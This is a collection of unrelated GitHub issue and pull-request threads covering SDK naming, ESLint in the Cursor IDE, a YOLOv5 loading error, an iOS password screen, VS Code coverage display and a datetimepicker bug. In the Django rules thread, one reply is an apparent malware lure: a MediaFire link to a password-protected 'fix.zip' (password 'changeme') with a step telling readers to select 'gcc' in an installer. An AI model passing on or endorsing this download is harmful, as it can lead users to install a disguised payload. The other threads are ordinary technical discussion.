
Vonage instead of Nexmo should be used

In Vonage / vonage-php-code-snippets, Nexmo is used to instantiate a signature
https://github.com/Vonage/vonage-php-code-snippets/blob/f577cb31b41ba4128cef153b315132febfd3125d/sms/verify-signed-sms.php#L9
$signature = new Nexmo\Client\Signature
should be
$signature = new Vonage\Client\Signature

Oof, good catch. I'll get this into the PR I'm about to put out.


Password generator

Issue Type:

[x] Feature Request

Possible solution
A simple frontend project using HTML, CSS & JS.
Screenshots
project link
https://tanya-chan.github.io/password-generator/

@arpit456jain could you please assign this to me

@TANYA-CHAN this project is already there in the repo


bug: eslint config fails to load on Cursor IDE whereas it works fine on VSCode

Provide environment information
System:
OS: macOS 15.0
CPU: (10) arm64 Apple M1 Pro
Memory: 1.64 GB / 32.00 GB
Shell: 5.9 - /bin/zsh
Binaries:
Node: 20.16.0 - ~/.nvm/versions/node/v20.16.0/bin/node
npm: 10.8.1 - ~/.nvm/versions/node/v20.16.0/bin/npm
pnpm: 9.11.0 - /opt/homebrew/bin/pnpm
Describe the bug
Eslint errors/warnings are not functioning inside Cursor IDE even though it works fine in VSCode, i've attempted

Restarting ESLint servers
Restarting IDEs
Fresh Installs

Cursor Details:
Version: 0.41.2
VSCode Version: 1.91.1
VSCode Details:
Version: 1.93.1 (Universal)
ESLint console output on Cursor:
[Info  - 7:40:50 PM] ESLint server is running.
[Info  - 7:40:51 PM] ESLint library loaded from: /Users/harshytgoel/Projects/inkrepo/node_modules/eslint/lib/api.js
[Error - 7:40:51 PM] Request textDocument/diagnostic failed.
  Message: Request textDocument/diagnostic failed with message: The "path" argument must be of type string. Received undefined
  Code: -32603
[Error - 7:40:51 PM] Document pull failed for text document file:///Users/harshytgoel/Projects/inkrepo/apps/nextjs/src/app/layout.tsx
  Message: Request textDocument/diagnostic failed with message: The "path" argument must be of type string. Received undefined
  Code: -32603
[Error - 7:40:52 PM] Request textDocument/codeAction failed.
  Message: Request textDocument/codeAction failed with message: The "path" argument must be of type string. Received undefined
  Code: -32603

No such errors in VSCode.  Unsure if i'm the only one running into this issue - i have added a loom recording reproduction link.
Link to reproduction
https://www.loom.com/share/f0653f3eeea647058a08d302413ff732
To reproduce

npx create-turbo@latest -e https://github.com/t3-oss/create-t3-turbo
add unused variable to /apps/nextjs/src/app/layout.tsx
restart ESLint server

Additional information
https://www.loom.com/share/f0653f3eeea647058a08d302413ff732

If it works in vscode then it feels like a cursor issue, no?

ahhh - good point, lemme open there


Apple Watch unlocking not working

Have you tried these steps?
Is there already an open topic for this issue?
Please include the following information.
OS Version: Sierra 10.12
Mac model: 2011 17" Macbook Pro
Replaced card - BCM94331PCIEBT4CAX
Is apple watch unlocking supported? because I cant find this option in Security&Privacy->general
thanks

Same issue here.  Re-enabled SIP without kext and no unlock option to be seen.  Also tried logging out and logging back in to iCloud on all devices.
Everything else works on Sierra though, at least for me.
Macbook Pro 15" Early 2011.
Broadcom ID:  BCM94331PCIEBT4CAX
Bluetooth Low Energy Supported:	Yes
Handoff Supported:	Yes
Instant Hot Spot Supported:	Yes

Please refer to the readme and wiki next time. You will need a 802.11ac capable card.


processing pipeline for Easysci-ATAC-seq

Hi,
Thanks for developing such an excellent tool for single-cell genomics. I am wondering whether you could provide the processing pipeline for Easysci-ATAC-seq.
Thanks.

Also, if it's possible, could you please share the library structure of easysci-ATAC?
Many thanks.


Can't get attribute 'DetectionModel' on <module 'models.yolo' from....>

Here's my code...↓

! pip install -r requirements.txt

import os
os.chdir("./yolov5-gradcam-master/")

!python main.py --model-path runs/train/hat_person4/weights/best.pt --img-path datasets/hat_person/yolo_dataset/images/train/000490.jpg --output-dir outputs --names hat,person

And then...Something wrong..

[INFO] Loading the model
Traceback (most recent call last):
File "main.py", line 124, in
main(args.img_path)
File "main.py", line 64, in main
names=None if args.names is None else args.names.strip().split(","))
File "f:\works\VSCODE\yolov5\yolov5-gradcam-master\models\yolo_v5_object_detector.py", line 32, in __init__
self.model = attempt_load(model_weight, device=device)
File "f:\works\VSCODE\yolov5\yolov5-gradcam-master\models\experimental.py", line 80, in attempt_load
ckpt = torch.load(attempt_download(w), map_location=device)
File "d:\Anaconda3\envs\yolo\lib\site-packages\torch\serialization.py", line 607, in load
return _load(opened_zipfile, map_location, pickle_module, **pickle_load_args)
File "d:\Anaconda3\envs\yolo\lib\site-packages\torch\serialization.py", line 882, in _load
result = unpickler.load()
File "d:\Anaconda3\envs\yolo\lib\site-packages\torch\serialization.py", line 875, in find_class
return super().find_class(mod_name, name)
AttributeError: Can't get attribute 'DetectionModel' on <module 'models.yolo' from 'f:\works\VSCODE\yolov5\yolov5-gradcam-master\models\yolo.py'>

do you fix it?

do you fix it?

not yet

did you fix it?

same problem

anyone fix the issue?

I fix it by update the models/yolo.py  (yolov5 reposipotry)

@LinRds could you please tell me how? Or, direct me to the updated fork?

I fix it by update the models/yolo.py (yolov5 reposipotry)

Which version of yolov5?

v7.0

@LinRds could you please tell me how? Or, direct me to the updated fork?

v 7.0

Hey does anyone know the solution of this issue ? please help @LinRds @saisriteja @mohaliyet @xiaoling-1

same problem here

did anyone fix this?

The problem is retated to the yolov5 version used to train the model vs the version included in this repo. A quick fix is to add in yolo.py at line 251 the following:
DetectionModel = Model


Hosted images?

Is your feature request related to a problem? Please describe.

I'm currently building the cuda nvidia container and encountering issues: #2687
However.. any chance you are able to host the images?
Describe the solution you'd like

Hosted images possibly
Additional context

IIRC we cannot due to NVIDIA licensing - @n1hility has more info around that

I see that nvidia + red hat host the base cuda images: https://hub.docker.com/layers/nvidia/cuda/12.6.2-cudnn-devel-ubi9/images/sha256-505896fb9cd4a963226ceedb442ea30ad1a2307c514b28c6bd423bce10d9631e?context=explore
perhaps we can use that as a base layer to significantly cut down on build times? I'm trying to build it right now and it's about 2 hours and counting (stuck on building wheel)

We do have a quay org for instructlab at https://quay.io/organization/instructlab
I think it makes sense to identify what minimum set of artifacts have a permissible license which can be built and pushed to this quay org
The only thing is these images will need to be kept up to date so if there are updates to the containerfiles we might need to have some CI job constantly building and updating these images on quay
In general though I like the idea of doing something like this to reduce build times
thoughts @nathan-weinberg @danmcp ?


Deleted app is stuck in Uninstalling

On master-head - commit id: 9b6984d5f

Login to Dashboard
Navigate to Apps --> repositories --> Add repo
Git URL: https://github.com/mrajashree/charts.git Branch: backup-restore
Navigate to Charts -- deploy app backup-restore-operator. App gets deployed
Now delete the app from "Installed Apps" page.
The app is stuck in "Uninstalling" state for long. Click on the app. It navigates to the webpage with error

I was able to delete installed apps. Please test again @sowmyav27

On master-head - 343b8e19c

Deploy rancher - backup restore through the helm command.
The app gets installed
delete the app through Dashboard UI
App goes from Active to uninstalling and the app gets deleted successfully.


[WEB-700] FB Auth Deprecation | SetYourPassword UI

📲 What
UI for a new SetYourPassword screen.
🤔 Why
As we start to deprecate signing in with facebook, we need to make sure that specific users create a password.
These users have connected via facebook but never needed to create one and so before we remove facebook auth altogether we need to make sure they can still access their accounts.
🛠 How
I created a new SetYourPasswordViewController & SetYourPasswordViewModel based on these designs
👀 See

✅ Acceptance criteria

[ ] This screen isn't hooked up yet, I just wanted some feedback on building the UI first. I've been adding the following code to LoginToutViewController/pushSignupViewController() to present this screeen

fileprivate func pushSignupViewController() {
    let vc = SetYourPasswordViewController.configuredWith(userEmail<EMAIL_ADDRESS>    self.navigationController?.pushViewController(vc, animated: true)
    self.navigationItem.backBarButtonItem = UIBarButtonItem.back(nil, selector: nil)
  }

[ ] Verify that the screen matches the designs and works in landscape
[ ] Verify that the save button is enabled/disabled appropriately when both passwords match and are at least 5 characters long

⏰ TODO

[ ] Will add tests. I just need to better understand how we do that here first

SwiftFormat found issues:

File
Rules

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:9:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:15:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:26:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:53:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:55:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:61:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:76:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:79:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:82:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:87:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:100:1
warning: (blankLinesAtStartOfScope) Remove leading blank line at the start of a scope.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:107:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:113:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:119:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:134:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:142:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:152:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:162:1
warning: (trailingCommas) Add or remove trailing comma from the last item in a collection literal.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:167:1
warning: (redundantSelf) Insert/remove explicit self where applicable.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:167:1
warning: (wrap) Wrap lines that exceed the specified maximum width.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:168:1
warning: (redundantSelf) Insert/remove explicit self where applicable.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:168:1
warning: (wrap) Wrap lines that exceed the specified maximum width.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:173:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:177:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:180:1
warning: (indent) Indent code in accordance with the scope level.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:198:1
warning: (blankLinesAtStartOfScope) Remove leading blank line at the start of a scope.

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewController.swift:202:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:28:1
warning: (blankLinesAtStartOfScope) Remove leading blank line at the start of a scope.

Library/ViewModels/SetYourPasswordViewModel.swift:28:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:36:1
warning: (spaceAroundOperators) Add or remove space around operators or delimiters.

Library/ViewModels/SetYourPasswordViewModel.swift:37:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:39:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:51:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:59:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:64:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:69:1
warning: (wrap) Wrap lines that exceed the specified maximum width.

Library/ViewModels/SetYourPasswordViewModel.swift:70:1
warning: (wrap) Wrap lines that exceed the specified maximum width.

Library/ViewModels/SetYourPasswordViewModel.swift:73:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:74:1
warning: (consecutiveBlankLines) Replace consecutive blank lines with a single blank line.

Library/ViewModels/SetYourPasswordViewModel.swift:79:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:84:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:97:1
warning: (consecutiveBlankLines) Replace consecutive blank lines with a single blank line.

Library/ViewModels/SetYourPasswordViewModel.swift:102:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:107:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:109:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModel.swift:116:1
warning: (blankLinesAroundMark) Insert blank line before and after MARK: comments.

  Generated by :no_entry_sign: Danger

@msadoon thanks for the feedback. I think I've covered all of your comments. Once we sync on testing I'll get that taken care of as well.

SwiftFormat found issues:

File
Rules

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewControllerTests.swift:28:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModelTests.swift:14:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModelTests.swift:32:1
warning: (consecutiveSpaces) Replace consecutive spaces with a single space.

Library/ViewModels/SetYourPasswordViewModelTests.swift:32:1
warning: (spaceAroundParens) Add or remove space around parentheses.

Library/ViewModels/SetYourPasswordViewModelTests.swift:42:1
warning: (unusedArguments) Mark unused function arguments with _.

Library/ViewModels/SetYourPasswordViewModelTests.swift:43:1
warning: (unusedArguments) Mark unused function arguments with _.

  Generated by :no_entry_sign: Danger

@msadoon Fixed the navbar issue and added tests. The VC test snapshots aren't showing the copy that's on that screen though for some reason. Maybe we can look at that quick when we sync later

SwiftFormat found issues:

File
Rules

Kickstarter-iOS/Views/Controllers/SetYourPasswordViewControllerTests.swift:28:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModelTests.swift:14:1
warning: (indent) Indent code in accordance with the scope level.

Library/ViewModels/SetYourPasswordViewModelTests.swift:32:1
warning: (consecutiveSpaces) Replace consecutive spaces with a single space.

Library/ViewModels/SetYourPasswordViewModelTests.swift:32:1
warning: (spaceAroundParens) Add or remove space around parentheses.

Library/ViewModels/SetYourPasswordViewModelTests.swift:42:1
warning: (unusedArguments) Mark unused function arguments with _.

Library/ViewModels/SetYourPasswordViewModelTests.swift:43:1
warning: (unusedArguments) Mark unused function arguments with _.

  Generated by :no_entry_sign: Danger

@msadoon Ok i'll make the textfield labels a touch smaller. That will stray away from what the designs specify though. Also one thing to note, the copy in the designs as changed slightly to what you see in this build. I can't update the designs so that's why that's different.

Well it looks like the designs have 16px for the context label and 13 px for the text field labels, just set the text field labels to be 13 px. and the context label to be 16px.

Oh yea you're right 🤔 . Could have sworn I was seeing other values. My mistake. Will update


HDDS-8220. [Ozone-Streaming] KeyValueStreamDataChannel add write data exception handling

What changes were proposed in this pull request?
KeyValueStreamDataChannel add write data exception handling
What is the link to the Apache JIRA
https://issues.apache.org/jira/browse/HDDS-8220

@hemantk-12 can you please take a look?


Improvements to in-editor view of code coverage

While integrating Bazel's coverage reporting with VS Code's new coverage support (see https://github.com/bazelbuild/vscode-bazel/pull/366), I came across a couple of potential smaller UI/UX improvements.
Execution counts destroy code indentation
The counters which show how frequently a line / statement was executed lead to misaligned code.

In the screenshot below, this is particularly visible when looking at lines 37 and 39. While the if is aligned with the closing } in the original source code, this indentation gets distorted by the "1x" annotation on line 37.
For Java code this is only a smaller annoyance. For languages which rely on indentation for semantics (like Python), this makes the code much harder to understand.
Proposed solution: Render the annotation at the end of the covered region instead of at the beginning, as shown in the following mockup

Thereby, the coverage annotations don't distort the indentation and the indentation of the if still matches the closing }. This would also work nicely for coverage providers which provide statement coverage, i.e. with multiple separate regions within a single line.
Highlight complete lines for line coverage
Bazel and LCOV in general only provide line coverage and no statement coverage.
Currently, VS Code's UI seems to be tailored towards statement coverage, though: It highlights only parts of the line.
This leads to a visually rather "jagged" perception given each line has a different line lenhgt.
I would find it more visually appealing, if the complete line was colored (also including ), similarly to how the complete lines in a git diff are highlighted as shown in this screenshot:

Proposed solution: Detect if a file only contains per-line coverage data (i.e. all position.column values are 0). If so, switch to coloring complete lines. It is important to do this detection on a per-file level and not on a per-coverage-report level, because Bazel can provide coverage runs across languages (Java, C++, ...) and hence for some files we might only line coverage, while for other files we might have statement coverage.
Tooltips on coverage regions provide little information

The text "was executed" provides no additional information. Whether the line is covered can already be seen based on the color. Similarly, execution counts (if available) are already visible in the code editor. Instead of this hover information, I would prefer to keep seeing the normal hovers provided by the language server.
Proposed solution: maybe just remove those tooltips?
Tooltips with branch coverage are inconsistent
There seem to be two different tooltips, as soon as branch coverage is available. When hovering on the line itself, we get:

But when hovering the red "?" mark towards the end of the line, there is more information in the tooltip:

Proposed solution: Remove the tooltip on the line itself (I want to see my language server's hovers instead) and only show it when hovering the red question mark?
Tooltips on line numbers hide the source code
The tooltip on the line numbers hides the actual source code.
https://github.com/microsoft/vscode/assets/6820896/5761bea3-1e11-46b5-9216-92528e6b14fa
This is a bit annoying, since I hover over the coverage gutter to see more information, but then the tooltip actually hides information, i.e. the source code.
Proposed solution: Maybe move the "Toggle inline coverage" button somewhere else? E.g., in this menu

or even as another button directly next to the "Split Editor" button visible in the above screenshot

Thanks, these are good points

The tooltip on the line numbers hides the actual source code.

Yea, I'm not very happy with this and struggled to figure out a way to do this. If there's no mouseover action, the ability to toggle inline coverage is pretty hard to find. People don't right-click things in general, and there's already a click action (selecting the line) on line numbers. The editor menu (in the top) is an okay solution but also harder to discover and not contextual with the line numbers.

🤔 could we maybe use a tooltip that opens to the left instead of to the right? That way it would obscure (parts of) the file browser instead of the editor


Discussion about Django related rules

Let's discuss improvements and changes related to Django.
If you have any experience, example or snippet to share, feel free to suggest it into this discussion.

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Simplify TokensService

Fix an issue seen in crashlytics at the same time refactor the TokensService code to remove redundant code and simplify the source.

Fix an issue seen in crashlytics at the same time refactor the TokensService code to remove redundant code and simplify the source.

James, this description is completely unclear. What issue did you fix?

Issue was reported in crashlytics - so I fixed it.
While fixing the issue I realised the code could be simplified. Simplification was done.

@JamesSmartCell what issue?? Please make it clear, we may need to reference this some date far into the future.

Crashlytics issue reported:
TokensService.java line 401  io.stormbird.wallet.service.TokensService.updateTokenPressure
While fixing this I took the time to clean the code; I had previously noticed it needed cleaning and while I was fixing the issue I took the time to clean appropriately.

@JamesSmartCell please describe what the issue was. I would love to merge this but we need to know what it is for posterity.


Improve license field docs

Please have a look at the individual commit messages for the details.

Merging despite the unrelated test failures.


Error installing

TypeError: <class 'odoo.addons.web_debranding.models.publisher_warranty_contract.publisher_warranty_contract'> transforms the abstract model 'publisher_warranty.contract' into a non-abstract model. That class should either inherit from AbstractModel, or set a different '_name'.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

It actually use Abstract model. https://github.com/it-projects-llc/misc-addons/blob/10.0/web_debranding/models/publisher_warranty_contract.py
You probably use modified version of the module


Simple fixes

I hope this can be merged soon, especially https://github.com/benfred/fmin/pull/17/commits/ea923f63d8160145040516e34c0cddf9e557b0ef is blocking me from using the latest version.

Came here to propose a PR for Nelder Mead "let i".
Strongly Upvote ))
will be using yarn patch in the meantime


set gesture-handling to 'greedy'

This commit removes the annoying (for me on a trackpad, anyway) "ctrl+scroll to zoom" functionality from the map.

@tomlandia ping


chore: test how CI behaves when running a draft PR

SUMMARY

BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

TEST PLAN

ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Changes UI
[ ] Requires DB Migration.
[ ] Confirm DB Migration upgrade and downgrade tested.
[ ] Introduces new feature or API
[ ] Removes existing feature or API

Nice. This will definitely help the overall CI speed! Thanks for tackling this.

Nice. This will definitely help the overall CI speed! Thanks for tackling this.

Codecov Report

Merging #12666 (25897e8) into master (df8bb3b) will decrease coverage by 3.59%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #12666      +/-   ##
==========================================
- Coverage   66.87%   63.27%   -3.60%
==========================================
  Files        1018      486     -532
  Lines       49776    29982   -19794
  Branches     4869        0    -4869
==========================================
- Hits        33286    18971   -14315
+ Misses      16367    11011    -5356
+ Partials      123        0     -123

Flag
Coverage Δ

cypress
?

javascript
?

python
63.27% <ø> (-0.75%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

superset/sql_validators/postgres.py
50.00% <0.00%> (-50.00%)
:arrow_down:

superset/views/database/views.py
62.50% <0.00%> (-25.07%)
:arrow_down:

superset/db_engine_specs/presto.py
73.37% <0.00%> (-8.66%)
:arrow_down:

superset/databases/commands/create.py
83.67% <0.00%> (-8.17%)
:arrow_down:

superset/databases/commands/update.py
85.71% <0.00%> (-8.17%)
:arrow_down:

superset/sql_validators/base.py
93.33% <0.00%> (-6.67%)
:arrow_down:

superset/db_engine_specs/base.py
79.59% <0.00%> (-6.38%)
:arrow_down:

superset/db_engine_specs/sqlite.py
90.62% <0.00%> (-6.25%)
:arrow_down:

superset/views/database/forms.py
83.33% <0.00%> (-5.56%)
:arrow_down:

superset/databases/commands/test_connection.py
84.78% <0.00%> (-4.35%)
:arrow_down:

... and 544 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update df8bb3b...42c1086. Read the comment docs.

Codecov Report

Merging #12666 (25897e8) into master (df8bb3b) will decrease coverage by 3.59%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #12666      +/-   ##
==========================================
- Coverage   66.87%   63.27%   -3.60%
==========================================
  Files        1018      486     -532
  Lines       49776    29982   -19794
  Branches     4869        0    -4869
==========================================
- Hits        33286    18971   -14315
+ Misses      16367    11011    -5356
+ Partials      123        0     -123

Flag
Coverage Δ

cypress
?

javascript
?

python
63.27% <ø> (-0.75%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

superset/sql_validators/postgres.py
50.00% <0.00%> (-50.00%)
:arrow_down:

superset/views/database/views.py
62.50% <0.00%> (-25.07%)
:arrow_down:

superset/db_engine_specs/presto.py
73.37% <0.00%> (-8.66%)
:arrow_down:

superset/databases/commands/create.py
83.67% <0.00%> (-8.17%)
:arrow_down:

superset/databases/commands/update.py
85.71% <0.00%> (-8.17%)
:arrow_down:

superset/sql_validators/base.py
93.33% <0.00%> (-6.67%)
:arrow_down:

superset/db_engine_specs/base.py
79.59% <0.00%> (-6.38%)
:arrow_down:

superset/db_engine_specs/sqlite.py
90.62% <0.00%> (-6.25%)
:arrow_down:

superset/views/database/forms.py
83.33% <0.00%> (-5.56%)
:arrow_down:

superset/databases/commands/test_connection.py
84.78% <0.00%> (-4.35%)
:arrow_down:

... and 544 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update df8bb3b...42c1086. Read the comment docs.


datetimepicker minDate issue

Hello,
I am setting minDate and maxDate on datetimepicker.
minDate is showing as selectable but when i click it it does not update the input control.
Selecting maxDate works fine.
Here is the fiddle:
https://jsfiddle.net/zlaja1983/t23z4hLd/

var minDate = moment().subtract(7, 'days').millisecond(0).second(0).minute(0).hour(0);

Time flies ... :)

Thank you, that works.

if i set options like following:
options({
format: "YYYY",
viewMode: "years",
maxDate: new Date("2017"),
minDate: new Date("2014")
})
minDate "2014" is showing selectable, but when i click it it does not update the control